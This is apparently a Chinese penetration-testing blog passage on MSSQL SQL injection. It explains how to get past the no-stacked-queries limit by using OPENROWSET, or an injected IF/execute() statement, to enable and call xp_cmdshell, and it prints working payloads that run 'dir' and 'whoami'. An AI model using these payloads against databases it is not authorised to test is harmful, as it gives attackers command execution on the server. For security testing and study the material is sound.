|
使用 openrowset
这是网上流传比较广的一种,使用 openrowset 来执行,突破不能堆叠的限制,语法格式如下:
OPENROWSET
( { 'provider_name'
, { 'datasource' ; 'user_id' ; 'password' | 'provider_string' }
, { <table_or_view> | &#39;query&#39; }
| BULK &#39;data_file&#39; ,
{ FORMATFILE = &#39;format_file_path&#39; [ <bulk_options> ]
| SINGLE_BLOB | SINGLE_CLOB | SINGLE_NCLOB }
} )
payload
select * from openrowset(&#39;sqloledb&#39;,&#39;dsn=locaserver;trusted_connection=yes&#39;,&#39;set
fmtonly off
exec master..xp_cmdshell &#39;&#39;dir c:&#39;&#39;with RESULT SETS((a varchar(max)))&#39;)
在平常渗透测试中,这个技巧更多的时候用在切换高权限用户的时候,在 sqlmap\data\procs\mssqlserver 下的 run_statement_as_user.sql 中,我们可以看到常用的 payload

但是该方法在实际的运用中局限性还是很大的,因为在 mssql2005 及其以后,mssql对系统存储过程做了权限控制,Ad Hoc Distributed Queries 组件默认是不被启用的。

- 开启 Ad Hoc Distributed Queries 组件
exec sp_configure &#39;show advanced options&#39;,1 reconfigure exec sp_configure &#39;Ad Hoc Distributed Queries&#39;,1 reconfigure
- 关闭 Ad Hoc Distributed Queries 组件
exec sp_configure &#39;Ad Hoc Distributed Queries&#39;,0 reconfigure exec sp_configure &#39;show advanced options&#39;,0 reconfigure
select name,value_in_use from sys.configurations where name like &#39;%Ad Hoc Distributed Queries%&#39;
select name,value_in_use from sys.configurations where name like &#39;%cmdshell%&#39;
开启后再来执行执行可以看到顺利执行了。

使用 exec\execute
因为 方法1 的局限性太大了,翻了半天资料没有找到相应的方法,只能自己动手。在同事@子云爸爸 的帮助下,终于瞎几把摸索出一个新的方式去突破无法堆叠的问题。
那么 exec 真的需要多句才能执行吗?,来直接看 payload 吧

if 语句的表达式如下,也就是说,我们是可以借助 if 来执行 sql_statement,那么只要你能在你的注入点构造一个 if 出来,不需要环境支持堆叠也可以达到堆叠的效果。
IF Boolean_expression
{ sql_statement | statement_block }
[ ELSE
{ sql_statement | statement_block } ]

完整的 payload
select 1 where 1=1 if 1=1 execute(&#39;exec sp_configure &#39;&#39;show advanced options&#39;&#39;,
1;reconfigure;exec sp_configure &#39;&#39;xp_cmdshell&#39;&#39;, 1;reconfigure;exec xp_cmdshell
&#39;&#39;whoami&#39;&#39;&#39;);
 |
|